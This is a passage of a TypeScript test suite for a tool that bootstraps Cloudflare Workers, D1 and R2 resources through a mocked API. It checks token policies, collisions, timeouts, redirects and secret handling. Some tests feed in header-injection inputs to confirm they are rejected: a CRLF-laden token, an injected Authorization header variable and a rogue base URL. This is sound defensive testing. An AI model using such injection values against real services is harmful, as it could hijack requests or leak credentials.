`/client/v4/accounts/${ACCOUNT}`; + const script = `${root}/workers/scripts/${names.referenceWorker}`; + const databases = new Map(); + let bucket: { name: string; creation_date: string } | undefined; + let metadata: + | { + bindings: Binding[]; + compatibility_date: string; + compatibility_flags: string[]; + limits: { cpu_ms: number; subrequests: number }; + } + | undefined; + let uploaded = false; + let ingress = false; + let hook: Hook | undefined; + const requests: Request[] = []; + const parts = new Map(); + const tag = options.tag === undefined ? 'immutable-script-tag' : options.tag; + const runtime = () => ({ + compatibility_date: metadata?.compatibility_date, + compatibility_flags: metadata?.compatibility_flags, + limits: metadata?.limits, + }); + const bindings = () => + metadata?.bindings.map((binding) => + binding.type === 'secret_text' + ? { name: binding.name, type: binding.type } + : binding, + ); + const deployment = () => ({ + id: DEPLOYMENT_ID, + strategy: 'percentage', + versions: [{ version_id: VERSION_ID, percentage: 100 }], + }); + const policy = (id: string) => ({ + id, + status: 'active', + policies: [ + { + id: 'policy', + effect: 'allow', + permission_groups: [ + 'Zone Read', + 'Workers Routes Read', + 'Workers Routes Edit', + ].map((name, index) => ({ id: `permission-${index}`, name })), + resources: { + [`com.cloudflare.api.account.${ACCOUNT}`]: { + 'com.cloudflare.api.account.zone.*': '*', + }, + }, + }, + ], + }); + const runBinding = () => ({ + version: 1, + accountId: ACCOUNT, + fleetDatabaseId: FLEET_ID, + quotaDatabaseId: QUOTA_ID, + exportBucketName: names.exportBucket, + referenceModuleSetSha256: prepared.referenceModuleSetSha256, + accountWorkersDevSubdomain: 'attested-account', + }); + const controlResponse = ( + result: unknown = { binding: runBinding() }, + status = 200, + ) => + Response.json( + status === 200 + ? { + contractVersion: 1, + configSha256: prepared.configSha256, + action: 'control-read', + ok: true, + result, + } + : { + contractVersion: 1, + ok: false, + error: { code: 'budget-exhausted' }, + }, + { + status, + headers: { + 'Cache-Control': 'no-store', + 'X-Direct-Provider-Attempts': '0', + 'X-Direct-Maintenance-Attempts': '0', + 'X-Direct-Application-Attempts': '0', + }, + }, + ); + const fetchRequest = vi.fn(async (input, init) => { + const request = new Request(input, init); + const url = new URL(request.url); + requests.push(request.clone()); + expect(request.redirect).toBe('manual'); + expect(request.signal.aborted).toBe(false); + if ( + url.origin === + `https://${names.referenceWorker}.attested-account.workers.dev` + ) { + expect(request.headers.get('authorization')).toBe( + `Bearer ${INVOKE_SECRET}`, + ); + expect(url.pathname).toBe(DIRECT_REFERENCE_PATH); + expect(journal.snapshot().lastInvocation?.state).toBe('pending'); + return (await hook?.(request, url)) ?? controlResponse(); + } + if (url.origin !== 'https://api.cloudflare.com') { + unexpectedRequests.push('unexpected origin'); + throw new Error('Unexpected synthetic origin'); + } + expect(request.headers.get('authorization')).toBe(`Bearer ${API_TOKEN}`); + expect(request.headers.has('x-auth-key')).toBe(false); + expect(request.headers.has('x-auth-email')).toBe(false); + expect(request.headers.has('x-auth-user-service-key')).toBe(false); + if (request.method !== 'GET') { + const disk = JSON.parse( + await readFile(join(journal.directory, 'journal.json'), 'utf8'), + ); + const pending = + url.pathname === `${root}/d1/database` + ? ((await request.clone().json()) as { name: string }).name === + names.fleetDatabase + ? 'create-fleet-d1' + : 'create-quota-d1' + : url.pathname === `${root}/r2/buckets` + ? 'create-export-r2' + : url.pathname === script + ? 'upload-reference' + : 'enable-reference-ingress'; + expect(disk.bootstrap.pending).toBe(pending); + if (pending !== 'create-fleet-d1') + expect(disk.bootstrap.fleet).toEqual({ + uuid: FLEET_ID, + name: names.fleetDatabase, + }); + if ( + pending === 'upload-reference' || + pending === 'enable-reference-ingress' + ) + expect(disk.bootstrap.exports).toMatchObject({ + name: names.exportBucket, + }); + } + const intercepted = await hook?.(request, url); + if (intercepted) return intercepted; + if (request.method === 'GET') { + if (url.pathname === root) return json({ id: ACCOUNT }); + if (url.pathname === `${root}/workers/subdomain`) + return json({ subdomain: 'attested-account' }); + if (url.pathname === `${root}/tokens/verify`) + return json({ id: 'account-token', status: 'active' }); + if (url.pathname === `${root}/tokens/account-token`) + return json(policy('account-token')); + if (url.pathname === '/client/v4/user/tokens/verify') + return json({ id: 'user-token', status: 'active' }); + if (url.pathname === '/client/v4/user/tokens/user-token') + return json(policy('user-token')); + if (url.pathname === '/client/v4/zones') { + expect(url.searchParams.get('account.id')).toBe(ACCOUNT); + expect(url.searchParams.get('per_page')).toBe('50'); + return json( + url.searchParams.has('page') + ? [] + : [{ id: 'zone', name: 'example.test', account: { id: ACCOUNT } }], + ); + } + if (url.pathname === '/client/v4/zones/zone') + return json({ + id: 'zone', + name: 'example.test', + account: { id: ACCOUNT }, + }); + if (url.pathname === `${root}/workers/dispatch/namespaces`) + return json([]); + if (url.pathname === `${root}/d1/database`) { + expect(url.searchParams.get('per_page')).toBe('100'); + expect([names.fleetDatabase, names.quotaDatabase]).toContain( + url.searchParams.get('name'), + ); + return json( + url.searchParams.has('page') + ? [] + : [...databases.values()].filter( + (row) => row.name === url.searchParams.get('name'), + ), + ); + } + if (url.pathname.startsWith(`${root}/d1/database/`)) + return databases.has(url.pathname.split('/').at(-1) ?? '') + ? json(databases.get(url.pathname.split('/').at(-1) ?? '')) + : absent(); + if (url.pathname === `${root}/r2/buckets/${names.exportBucket}`) { + expect(request.headers.get('cf-r2-jurisdiction')).toBe('default'); + return bucket ? json(bucket) : absent(); + } + if (url.pathname === script) + return uploaded + ? new Response('synthetic worker bytes', { + headers: { 'Content-Type': 'application/javascript' }, + }) + : absent(); + if (url.pathname === `${root}/workers/scripts`) + return json([ + { id: names.referenceWorker, ...(tag === null ? {} : { tag }) }, + ]); + if (url.pathname === `${script}/deployments`) + return json({ deployments: [deployment()] }); + if (url.pathname === `${script}/deployments/${DEPLOYMENT_ID}`) + return json(deployment()); + if (url.pathname === `${script}/versions/${VERSION_ID}`) + return json({ + id: VERSION_ID, + resources: { + script_runtime: { + ...runtime(), + limits: { cpu_ms: metadata?.limits.cpu_ms }, + }, + bindings: bindings(), + }, + }); + if (url.pathname === `${script}/settings`) + return json({ ...runtime(), bindings: bindings() }); + if (url.pathname === `${script}/subdomain`) + return json({ enabled: ingress, previews_enabled: false }); + } + if (request.method === 'POST' && url.pathname === `${root}/d1/database`) { + const body = (await request.json()) as { name: string }; + expect(Object.keys(body)).toEqual(['name']); + const receipt = { + uuid: body.name === names.fleetDatabase ? FLEET_ID : QUOTA_ID, + name: body.name, + }; + databases.set(receipt.uuid, receipt); + return json(receipt); + } + if (request.method === 'POST' && url.pathname === `${root}/r2/buckets`) { + expect(request.headers.get('cf-r2-jurisdiction')).toBe('default'); + expect(await request.json()).toEqual({ name: names.exportBucket }); + bucket = { + name: names.exportBucket, + creation_date: '2026-09-10T00:00:00.000Z', + }; + return json(bucket); + } + if (request.method === 'PUT' && url.pathname === script) { + expect(request.headers.get('content-type')).toMatch( + /^multipart\/form-data; boundary=/u, + ); + const form = await request.formData(); + expect([...form.keys()].sort()).toEqual( + [ + 'metadata', + ...prepared.referenceModules.map((module) => module.name), + ].sort(), + ); + expect(typeof form.get('metadata')).toBe('string'); + metadata = JSON.parse(form.get('metadata') as string); + for (const module of prepared.referenceModules) { + const part = form.get(module.name) as File; + expect(part.name).toBe(module.name); + expect(part.type).toBe(module.contentType); + parts.set(module.name, new Uint8Array(await part.arrayBuffer())); + } + uploaded = true; + return json({ + ...(tag === null + ? {} + : { id: names.referenceWorker, tag, etag: 'provider-etag' }), + }); + } + if (request.method === 'POST' && url.pathname === `${script}/subdomain`) { + expect(await request.json()).toEqual({ + enabled: true, + previews_enabled: false, + }); + ingress = true; + return json({ enabled: true, previews_enabled: false }); + } + unexpectedRequests.push(`${request.method} ${url.pathname}`); + throw new Error( + `Unexpected synthetic request: ${request.method} ${url.pathname}`, + ); + }); + return { + directory, + configPath, + prepared, + names, + root, + script, + requests, + parts, + databases, + fetchRequest, + policy, + runBinding, + controlResponse, + deployment, + runtime, + bindings, + get journal() { + return journal; + }, + get metadata() { + return metadata; + }, + setHook(value: Hook | undefined) { + hook = value; + }, + run( + override: Partial[0]> = {}, + ) { + return bootstrapDirectConformance({ + prepared, + journal, + apiToken: API_TOKEN, + invokeSecret: INVOKE_SECRET, + fetch: fetchRequest, + ...override, + }); + }, + async reopen() { + await journal.close(); + journals.delete(journal); + journal = await openDirectRunState({ + configPath, + prepared, + accountId: ACCOUNT, + mode: 'resume', + }); + journals.add(journal); + }, + }; +} + +beforeEach(() => { + vi.stubGlobal( + 'fetch', + vi.fn(() => { + unexpectedRequests.push('global fetch'); + throw new Error('Unexpected global network'); + }), + ); +}); + +afterEach(async () => { + vi.restoreAllMocks(); + vi.unstubAllEnvs(); + vi.unstubAllGlobals(); + probes.sdk.mockClear(); + probes.generate.mockClear(); + try { + await Promise.all([...journals].map((journal) => journal.close())); + } finally { + journals.clear(); + await Promise.all( + directories + .splice(0) + .map((directory) => rm(directory, { recursive: true, force: true })), + ); + expect(unexpectedRequests.splice(0)).toEqual([]); + } +}); + +const describeLinux = + process.platform === 'linux' ? describe.sequential : describe.skip; +describeLinux('SDK direct bootstrap', () => { + it.each([ + 'application/JSON', + 'APPLICATION/JSON', + 'application/problem+JSON', + ])('validates mixed-case SDK JSON inventories: %s', async (contentType) => { + for (const role of ['fleet', 'quota'] as const) { + const f = await fixture(); + const name = + role === 'fleet' ? f.names.fleetDatabase : f.names.quotaDatabase; + f.setHook((_request, url) => { + if ( + url.pathname === `${f.root}/d1/database` && + url.searchParams.get('name') === name + ) { + const response = json( + url.searchParams.has('page') + ? [] + : [{ uuid: 'foreign-existing-database', name }], + ); + response.headers.set('content-type', contentType); + return response; + } + }); + await expect(f.run()).rejects.toMatchObject({ code: 'name-collision' }); + expect(f.databases.size).toBe(0); + expect(f.journal.snapshot().bootstrap?.pending).toBeNull(); + } + for (const surface of ['d1', 'dispatch']) { + const f = await fixture(); + f.setHook((_request, url) => { + const target = + surface === 'd1' + ? `${f.root}/d1/database` + : `${f.root}/workers/dispatch/namespaces`; + if (url.pathname === target) + return Response.json( + { success: false, errors: [{ code: 1 }], result: {} }, + { headers: { 'content-type': contentType } }, + ); + }); + await expect(f.run()).rejects.toMatchObject({ + code: 'provider-unavailable', + }); + expect(f.databases.size).toBe(0); + } + const f = await fixture(); + await f.run({ + fetch: async (input, init) => { + const response = await f.fetchRequest(input, init); + const url = new URL( + typeof input === 'string' || input instanceof URL ? input : input.url, + ); + if ( + url.origin === 'https://api.cloudflare.com' && + response.headers.get('content-type')?.includes('application/json') + ) + response.headers.set( + 'content-type', + `${contentType}; profile="CaseSensitive"`, + ); + return response; + }, + }); + expect(f.journal.snapshot().bootstrap?.controlReadOrdinal).toBe(1); + }); + + it('preserves the preflight module-name length boundary in named multipart', async () => { + const mainModule = `${'m'.repeat(252)}.js`; + const f = await fixture({ mainModule }); + await f.run(); + expect(f.parts.has(mainModule)).toBe(true); + }); + + it.each([ + 403, 404, 429, 500, 503, + ])('tries the other token endpoint family once after HTTP %s unavailability', async (status) => { + const f = await fixture(); + f.setHook((_request, url) => + url.pathname === `${f.root}/tokens/verify` + ? Response.json({}, { status }) + : undefined, + ); + await f.run(); + expect( + f.requests.filter((request) => + request.url.endsWith('/user/tokens/verify'), + ), + ).toHaveLength(1); + expect( + f.requests.filter((request) => + request.url.endsWith('/tokens/account-token'), + ), + ).toHaveLength(0); + }); + + it.each([ + 'worker', + 'r2', + 'd1', + 'namespaces', + ])('never treats a forbidden %s read as absence', async (kind) => { + const f = await fixture(); + f.setHook((_request, url) => + ( + kind === 'worker' + ? url.pathname === f.script + : kind === 'r2' + ? url.pathname.endsWith(`/r2/buckets/${f.names.exportBucket}`) + : kind === 'd1' + ? url.pathname.endsWith('/d1/database') + : url.pathname.endsWith('/dispatch/namespaces') + ) + ? Response.json({}, { status: 403 }) + : undefined, + ); + await expect(f.run()).rejects.toMatchObject({ + code: 'provider-unavailable', + }); + expect(f.requests.every((request) => request.method === 'GET')).toBe(true); + }); + + it.each([ + 'foreign-account', + 'wrong-boundary', + 'duplicate-name', + 'duplicate-id', + 'malformed-name', + 'later-failure', + ])('refuses %s zone proofs', async (kind) => { + const f = await fixture(); + f.setHook((_request, url) => { + if (url.pathname !== '/client/v4/zones') return; + if (url.searchParams.has('page')) + return kind === 'later-failure' + ? Response.json({}, { status: 403 }) + : json([]); + const row = { + id: 'zone', + name: + kind === 'wrong-boundary' + ? 'ample.test' + : kind === 'malformed-name' + ? 'bad..test' + : 'example.test', + account: { id: kind === 'foreign-account' ? 'foreign' : ACCOUNT }, + }; + return json([ + row, + ...(kind === 'duplicate-name' + ? [{ ...row, id: 'another' }] + : kind === 'duplicate-id' + ? [{ ...row, name: 'other.test' }] + : []), + ]); + }); + await expect(f.run()).rejects.toHaveProperty('code'); + expect(f.requests.every((request) => request.method === 'GET')).toBe(true); + }); + + it.each([ + 'missing-name', + 'duplicate-id', + 'truncated', + 'cursor', + ])('refuses %s SinglePage namespace proofs', async (kind) => { + const f = await fixture(); + f.setHook((_request, url) => { + if (!url.pathname.endsWith('/dispatch/namespaces')) return; + if (kind === 'missing-name') return json([{ namespace_id: 'id' }]); + if (kind === 'duplicate-id') + return json([ + { namespace_id: 'id', namespace_name: 'one' }, + { namespace_id: 'id', namespace_name: 'two' }, + ]); + return json( + [{ namespace_id: 'id', namespace_name: 'one' }], + kind === 'cursor' ? { cursor: 'more' } : { total_count: 2 }, + ); + }); + await expect(f.run()).rejects.toHaveProperty('code'); + expect(f.journal.snapshot().bootstrap).toBeNull(); + }); + + it('selects the longest owned zone suffix after complete traversal', async () => { + const f = await fixture(); + f.setHook((_request, url) => + url.pathname === '/client/v4/zones' + ? json( + url.searchParams.has('page') + ? [] + : [ + { id: 'parent', name: 'test', account: { id: ACCOUNT } }, + { + id: 'zone', + name: 'example.test', + account: { id: ACCOUNT }, + }, + ], + ) + : undefined, + ); + await f.run(); + expect(f.journal.snapshot().bootstrap?.context.zoneName).toBe( + 'example.test', + ); + }); + + it('rejects a pending provider mutation and a changed prepared runtime before SDK construction', async () => { + const f = await fixture(); + const changed = structuredClone(f.prepared); + (changed.config.referenceWorker as { cpuLimitMs: number }).cpuLimitMs += 1; + await expect(f.run({ prepared: changed })).rejects.toMatchObject({ + code: 'invalid-input', + }); + await f.journal.bindBootstrapContext({ + names: f.names, + zoneId: 'zone', + zoneName: 'example.test', + accountWorkersDevSubdomain: 'attested-account', + dispatch: { kind: 'empty', count: 0 }, + }); + await f.journal.beginBootstrapMutation('create-fleet-d1'); + await expect(f.run()).rejects.toMatchObject({ code: 'outcome-unknown' }); + expect(probes.sdk).not.toHaveBeenCalled(); + expect(f.fetchRequest).not.toHaveBeenCalled(); + }); + + it('refuses redirects and cancels the unconsumed response', async () => { + const f = await fixture(); + const cancelled = vi.fn(); + f.setHook( + () => + new Response(new ReadableStream({ cancel: cancelled }), { + status: 302, + headers: { Location: 'https://unexpected.invalid' }, + }), + ); + await expect(f.run()).rejects.toMatchObject({ + code: 'provider-unavailable', + }); + expect(f.fetchRequest).toHaveBeenCalledTimes(1); + expect(cancelled).toHaveBeenCalledTimes(1); + }); + + it('cancels script collision bodies without parsing or retaining their content', async () => { + const f = await fixture(); + const cancelled = vi.fn(); + f.setHook((_request, url) => + url.pathname === f.script + ? new Response(new ReadableStream({ cancel: cancelled }), { + headers: { 'Content-Type': 'application/javascript' }, + }) + : undefined, + ); + await expect(f.run()).rejects.toMatchObject({ code: 'name-collision' }); + await new Promise((resolve) => setImmediate(resolve)); + expect(cancelled).toHaveBeenCalledTimes(1); + expect(f.journal.snapshot().bootstrap?.pending).toBeNull(); + }); + + it.each([ + 'headers', + 'body', + ])('bounds actual response %s time and cancels late or unread bodies', async (kind) => { + const f = await fixture({ timeout: 30 }); + const cancelled = vi.fn(); + let resolveHeaders: ((response: Response) => void) | undefined; + const response = new Response(new ReadableStream({ cancel: cancelled }), { + headers: { 'Content-Type': 'application/json' }, + }); + f.setHook(() => + kind === 'body' + ? response + : new Promise((resolve) => { + resolveHeaders = resolve; + }), + ); + await expect(f.run()).rejects.toMatchObject({ + code: 'provider-unavailable', + }); + resolveHeaders?.(response); + await new Promise((resolve) => setImmediate(resolve)); + expect(cancelled).toHaveBeenCalledTimes(1); + expect(f.fetchRequest).toHaveBeenCalledTimes(1); + expect(f.journal.snapshot().bootstrap).toBeNull(); + }); + + it('bounds JSON bytes before native parsing completes', async () => { + const f = await fixture(); + const cancelled = vi.fn(); + f.setHook( + () => + new Response( + new ReadableStream({ + start(controller) { + controller.enqueue(new Uint8Array(8 * 1024 * 1024 + 1)); + }, + cancel: cancelled, + }), + { headers: { 'Content-Type': 'application/json' } }, + ), + ); + await expect(f.run()).rejects.toMatchObject({ + code: 'provider-unavailable', + }); + await new Promise((resolve) => setImmediate(resolve)); + expect(cancelled).toHaveBeenCalledTimes(1); + expect(f.fetchRequest).toHaveBeenCalledTimes(1); + }); + + it('bounds the bootstrap attempt duration without resetting durable state', async () => { + const f = await fixture(); + let now = 100; + vi.spyOn(performance, 'now').mockImplementation(() => now); + f.setHook(() => { + now += 300_001; + return json({ id: ACCOUNT }); + }); + await expect(f.run()).rejects.toMatchObject({ code: 'budget-exhausted' }); + expect(f.fetchRequest).toHaveBeenCalledTimes(1); + expect(f.journal.snapshot().invocationCount).toBe(0); + }); + + it('bounds SDK pagination attempts and refuses an unfinished inventory', async () => { + const f = await fixture(); + f.setHook((_request, url) => { + if (url.pathname !== '/client/v4/zones') return; + const page = url.searchParams.get('page') ?? '1'; + return json([ + { + id: `zone-${page}`, + name: `zone-${page}.test`, + account: { id: ACCOUNT }, + }, + ]); + }); + await expect(f.run()).rejects.toMatchObject({ code: 'budget-exhausted' }); + expect(f.fetchRequest).toHaveBeenCalledTimes(512); + expect(f.journal.snapshot().bootstrap).toBeNull(); + }, 15_000); + + it('retains create intent after a lost response and never retries dispatch', async () => { + const f = await fixture({ timeout: 30 }); + f.setHook((request, url) => + request.method === 'POST' && url.pathname.endsWith('/d1/database') + ? new Promise(() => {}) + : undefined, + ); + await expect(f.run()).rejects.toMatchObject({ code: 'outcome-unknown' }); + expect( + f.requests.filter((request) => request.method === 'POST'), + ).toHaveLength(1); + expect(f.journal.snapshot().bootstrap).toMatchObject({ + pending: 'create-fleet-d1', + fleet: null, + }); + const calls = probes.sdk.mock.calls.length; + await expect(f.run()).rejects.toMatchObject({ code: 'outcome-unknown' }); + expect(probes.sdk).toHaveBeenCalledTimes(calls); + expect(probes.generate).not.toHaveBeenCalled(); + }); + + it('uploads original multipart bytes and fixed bindings, durably settles control-read, and resumes retained secrets', async () => { + const f = await fixture(); + vi.stubEnv('CLOUDFLARE_CUSTOM_HEADERS', 'Authorization: injected'); + vi.stubEnv('CLOUDFLARE_LOG', 'debug'); + vi.stubEnv('CLOUDFLARE_BASE_URL', 'https://unexpected.invalid'); + await writeFile( + join(f.directory, 'reference.mjs'), + 'changed on disk after preflight', + ); + const client = await f.run(); + expect(typeof client.invoke).toBe('function'); + expect(probes.sdk.mock.calls[0]?.[0]).toMatchObject({ + baseURL: 'https://api.cloudflare.com/client/v4', + apiToken: API_TOKEN, + apiKey: null, + apiEmail: null, + userServiceKey: null, + logLevel: 'off', + timeout: 1000, + maxRetries: 0, + }); + for (const module of f.prepared.referenceModules) + expect(f.parts.get(module.name)).toEqual( + new Uint8Array( + 'source' in module + ? Buffer.from(module.source) + : Buffer.from(module.base64, 'base64'), + ), + ); + const bindings = f.metadata?.bindings ?? []; + expect(bindings.find((value) => value.name === 'FLEET_DB')).toEqual({ + name: 'FLEET_DB', + type: 'd1', + database_id: FLEET_ID, + }); + expect(bindings.find((value) => value.name === 'EXPORTS')).toEqual({ + name: 'EXPORTS', + type: 'r2_bucket', + bucket_name: f.names.exportBucket, + }); + const roleMap = JSON.parse( + bindings.find((value) => value.name === 'DIRECT_DEPLOYMENT_SECRETS') + ?.text ?? 'null', + ); + expect(Object.keys(roleMap)).toEqual(['a', 'b', 'recovery']); + expect(probes.generate).toHaveBeenCalledTimes(3); + const disk = await readFile( + join(f.journal.directory, 'journal.json'), + 'utf8', + ); + for (const secret of [ + API_TOKEN, + INVOKE_SECRET, + ...Object.values(roleMap).flatMap((value) => { + const role = value as { + deploymentIdentity: string; + maintenanceAdmin: string; + application: { APP_PROBE_TOKEN: string }; + }; + return [ + role.deploymentIdentity, + role.maintenanceAdmin, + role.application.APP_PROBE_TOKEN, + ]; + }), + ]) + expect(disk).not.toContain(secret); + expect(f.journal.snapshot()).toMatchObject({ + version: 2, + invocationCount: 1, + lastInvocation: { state: 'settled' }, + bootstrap: { + pending: null, + controlReadOrdinal: 1, + active: { deploymentId: DEPLOYMENT_ID, versionId: VERSION_ID }, + }, + }); + const mutations = f.requests.filter( + (request) => + request.method !== 'GET' && + new URL(request.url).origin === 'https://api.cloudflare.com', + ).length; + await f.reopen(); + f.setHook((_request, url) => + url.pathname.endsWith('/dispatch/namespaces') + ? json([{ namespace_id: 'namespace-id', namespace_name: 'fresh-name' }]) + : undefined, + ); + await f.run(); + expect( + f.requests.filter( + (request) => + request.method !== 'GET' && + new URL(request.url).origin === 'https://api.cloudflare.com', + ), + ).toHaveLength(mutations); + expect(probes.generate).toHaveBeenCalledTimes(3); + expect(f.journal.snapshot()).toMatchObject({ + invocationCount: 2, + bootstrap: { + controlReadOrdinal: 2, + context: { dispatch: { kind: 'empty', count: 0 } }, + }, + }); + }); + + it('accepts a positive upload without optional identity metadata', async () => { + const f = await fixture({ tag: null }); + await f.run(); + expect(f.journal.snapshot().bootstrap?.upload).toMatchObject({ tag: null }); + expect( + f.requests.some( + (request) => + new URL(request.url).pathname === `${f.root}/workers/scripts`, + ), + ).toBe(false); + await f.reopen(); + await f.run(); + expect(probes.generate).toHaveBeenCalledTimes(3); + }); + + it('rejects invalid prepared bytes, journal binding, pending state and auth before SDK construction', async () => { + const f = await fixture(); + const prepared = structuredClone(f.prepared); + (prepared.referenceModules[0] as { source: string }).source += 'changed'; + const foreign = { + ...f.journal, + snapshot: () => ({ + ...f.journal.snapshot(), + binding: { + ...f.journal.snapshot().binding, + configSha256: 'f'.repeat(64), + }, + }), + }; + for (const override of [ + { prepared }, + { journal: foreign }, + { apiToken: 'bad\r\nheader' }, + { invokeSecret: 'bad\u0100header' }, + ]) + await expect(f.run(override)).rejects.toMatchObject({ + code: 'invalid-input', + }); + const reservation = await f.journal.reserveInvocation( + JSON.stringify({ + contractVersion: 1, + configSha256: f.prepared.configSha256, + action: { kind: 'control-read' }, + }), + ); + await expect(f.run()).rejects.toMatchObject({ code: 'outcome-unknown' }); + await f.journal.settleInvocation(reservation); + await expect(f.run()).rejects.toMatchObject({ code: 'invalid-input' }); + expect(probes.sdk).not.toHaveBeenCalled(); + expect(f.fetchRequest).not.toHaveBeenCalled(); + }); + + it('falls back to the user endpoint family once, correlates that ID, and does not freeze token identity', async () => { + const f = await fixture(); + f.setHook((_request, url) => + url.pathname === `${f.root}/tokens/account-token` ? absent() : undefined, + ); + await f.run(); + expect( + f.requests.filter((request) => + request.url.endsWith('/user/tokens/verify'), + ), + ).toHaveLength(1); + expect( + f.requests.some((request) => + request.url.endsWith('/user/tokens/account-token'), + ), + ).toBe(false); + await f.reopen(); + f.setHook(undefined); + await f.run(); + expect(f.journal.snapshot().invocationCount).toBe(2); + }); + + it.each([ + 'inactive', + 'id-mismatch', + 'missing-policies', + 'malformed-group', + 'deny', + 'partial-grant', + 'malformed-resources', + ])('refuses %s policy without endpoint fallback or creation', async (failure) => { + const f = await fixture(); + f.setHook((_request, url) => { + if (url.pathname !== `${f.root}/tokens/account-token`) return; + const token = f.policy('account-token') as Record; + const policies = token.policies as { + effect: string; + permission_groups: unknown[]; + resources: Record; + }[]; + const policy = policies[0]; + if (!policy) throw new Error('Missing fixture policy'); + if (failure === 'inactive') token.status = 'disabled'; + if (failure === 'id-mismatch') token.id = 'foreign'; + if (failure === 'missing-policies') delete token.policies; + if (failure === 'malformed-group') policy.permission_groups = [null]; + if (failure === 'deny') policy.effect = 'deny'; + if (failure === 'partial-grant') policy.permission_groups.pop(); + if (failure === 'malformed-resources') + policy.resources = { arbitrary: [] }; + return json(token); + }); + await expect(f.run()).rejects.toHaveProperty('code'); + expect( + f.requests.some((request) => request.url.includes('/user/tokens/')), + ).toBe(false); + expect(f.requests.every((request) => request.method === 'GET')).toBe(true); + }); + + it.each([ + 'worker', + 'r2', + 'd1', + ])('refuses exact %s name collisions without adoption', async (kind) => { + const f = await fixture(); + f.setHook((_request, url) => { + if (kind === 'worker' && url.pathname === f.script) + return new Response('foreign'); + if ( + kind === 'r2' && + url.pathname.endsWith(`/r2/buckets/${f.names.exportBucket}`) + ) + return json({ name: f.names.exportBucket }); + if (kind === 'd1' && url.pathname.endsWith('/d1/database')) + return json( + url.searchParams.has('page') + ? [] + : [{ uuid: 'foreign', name: f.names.fleetDatabase }], + ); + }); + await expect(f.run()).rejects.toMatchObject({ code: 'name-collision' }); + expect(f.requests.every((request) => request.method === 'GET')).toBe(true); + expect(f.journal.snapshot().bootstrap?.fleet).toBeNull(); + }); + + it.each([ + 'zones', + 'namespaces', + 'd1', + ])('rejects malformed and incomplete %s listing envelopes', async (kind) => { + const invalid = [ + null, + { success: true }, + { success: false, result: [] }, + { success: true, result: {} }, + { success: true, result: [], errors: {} }, + { success: true, result: [], result_info: { cursor: 'more' } }, + { success: true, result: [], result_info: { total_pages: 2 } }, + { success: true, result: [], result_info: { total_count: 1 } }, + ]; + for (const envelope of invalid) { + const f = await fixture(); + f.setHook((_request, url) => + ( + kind === 'zones' + ? url.pathname === '/client/v4/zones' + : kind === 'namespaces' + ? url.pathname.endsWith('/dispatch/namespaces') + : url.pathname.endsWith('/d1/database') + ) + ? Response.json(envelope) + : undefined, + ); + await expect(f.run()).rejects.toHaveProperty('code'); + expect(f.requests.every((request) => request.method === 'GET')).toBe( + true, + ); + } + }); + + it.each([ + 'later-forbidden', + 'later-malformed', + 'middle-gap', + 'omitted-later-metadata', + 'missing-name', + 'duplicate', + ])('refuses %s D1 selection, including nonmatching rows', async (kind) => { + const f = await fixture(); + f.setHook((_request, url) => { + if (!url.pathname.endsWith('/d1/database')) return; + const page = Number(url.searchParams.get('page') ?? '1'); + if (kind === 'missing-name') return json([{ uuid: 'foreign' }]); + if (kind === 'duplicate') + return json([ + { uuid: 'same', name: 'foreign' }, + { uuid: 'same', name: 'foreign' }, + ]); + if (page === 1) + return json([{ uuid: 'foreign', name: 'foreign' }], { + page: 1, + per_page: 1, + total_count: ['middle-gap', 'omitted-later-metadata'].includes(kind) + ? 3 + : 1, + total_pages: ['middle-gap', 'omitted-later-metadata'].includes(kind) + ? 3 + : 1, + }); + if (kind === 'later-forbidden') return Response.json({}, { status: 403 }); + if (kind === 'later-malformed') return json([{}]); + if (kind === 'omitted-later-metadata') return json([]); + return json([], { page: 2, per_page: 1, total_count: 3, total_pages: 3 }); + }); + await expect(f.run()).rejects.toHaveProperty('code'); + expect(f.requests.every((request) => request.method === 'GET')).toBe(true); + }); + + it('accepts complete nonmatching D1 searches with terminal numbered empty pages and initial dispatch 404', async () => { + const f = await fixture(); + f.setHook((_request, url) => { + if (url.pathname.endsWith('/dispatch/namespaces')) return absent(); + if (!url.pathname.endsWith('/d1/database') || _request.method !== 'GET') + return; + const page = Number(url.searchParams.get('page') ?? '1'); + return json( + page === 1 ? [{ uuid: 'foreign', name: 'nonmatching' }] : [], + { page, per_page: 100, total_count: 1, total_pages: 1 }, + ); + }); + await f.run(); + expect(f.journal.snapshot().bootstrap?.context.dispatch).toEqual({ + kind: 'first-page-404', + count: 0, + }); + }); + + it.each([ + 'missing-uuid', + 'wrong-name', + 'r2-date', + 'r2-jurisdiction', + 'upload-id', + 'upload-envelope', + ])('retains the pending %s mutation and never retries or regenerates after ambiguity', async (kind) => { + const f = await fixture(); + f.setHook((request, url) => { + if (request.method === 'POST' && url.pathname.endsWith('/d1/database')) { + if (kind === 'missing-uuid') + return json({ name: f.names.fleetDatabase }); + if (kind === 'wrong-name') + return json({ uuid: FLEET_ID, name: 'foreign' }); + } + if (request.method === 'POST' && url.pathname.endsWith('/r2/buckets')) { + if (kind === 'r2-date') return json({ name: f.names.exportBucket }); + if (kind === 'r2-jurisdiction') + return json({ + name: f.names.exportBucket, + creation_date: '2026-09-10T00:00:00Z', + jurisdiction: 'eu', + }); + } + if (request.method === 'PUT') { + if (kind === 'upload-id') return json({ id: 'foreign-script' }); + if (kind === 'upload-envelope') return Response.json({ result: {} }); + } + }); + await expect(f.run()).rejects.toMatchObject({ code: 'outcome-unknown' }); + const count = f.fetchRequest.mock.calls.length; + const generated = probes.generate.mock.calls.length; + await expect(f.run()).rejects.toMatchObject({ code: 'outcome-unknown' }); + expect(f.fetchRequest).toHaveBeenCalledTimes(count); + expect(probes.generate).toHaveBeenCalledTimes(generated); + await expect(f.reopen()).rejects.toMatchObject({ code: 'outcome-unknown' }); + }); + + it('resumes partial confirmed infrastructure before generating secrets', async () => { + const f = await fixture(); + let quotaLists = 0; + f.setHook((request, url) => + request.method === 'GET' && + url.searchParams.get('name') === f.names.quotaDatabase && + ++quotaLists === 2 + ? Response.json({}, { status: 403 }) + : undefined, + ); + await expect(f.run()).rejects.toMatchObject({ + code: 'provider-unavailable', + }); + expect(f.journal.snapshot().bootstrap).toMatchObject({ + fleet: { uuid: FLEET_ID }, + quota: null, + pending: null, + }); + expect(probes.generate).not.toHaveBeenCalled(); + await f.reopen(); + f.setHook(undefined); + await f.run(); + expect( + f.requests.filter( + (request) => + request.method === 'POST' && + new URL(request.url).pathname.endsWith('/d1/database'), + ), + ).toHaveLength(2); + expect(probes.generate).toHaveBeenCalledTimes(3); + }); + + it('resumes a confirmed upload after observation failure using retained secrets', async () => { + const f = await fixture(); + f.setHook((_request, url) => + url.pathname.endsWith('/deployments') + 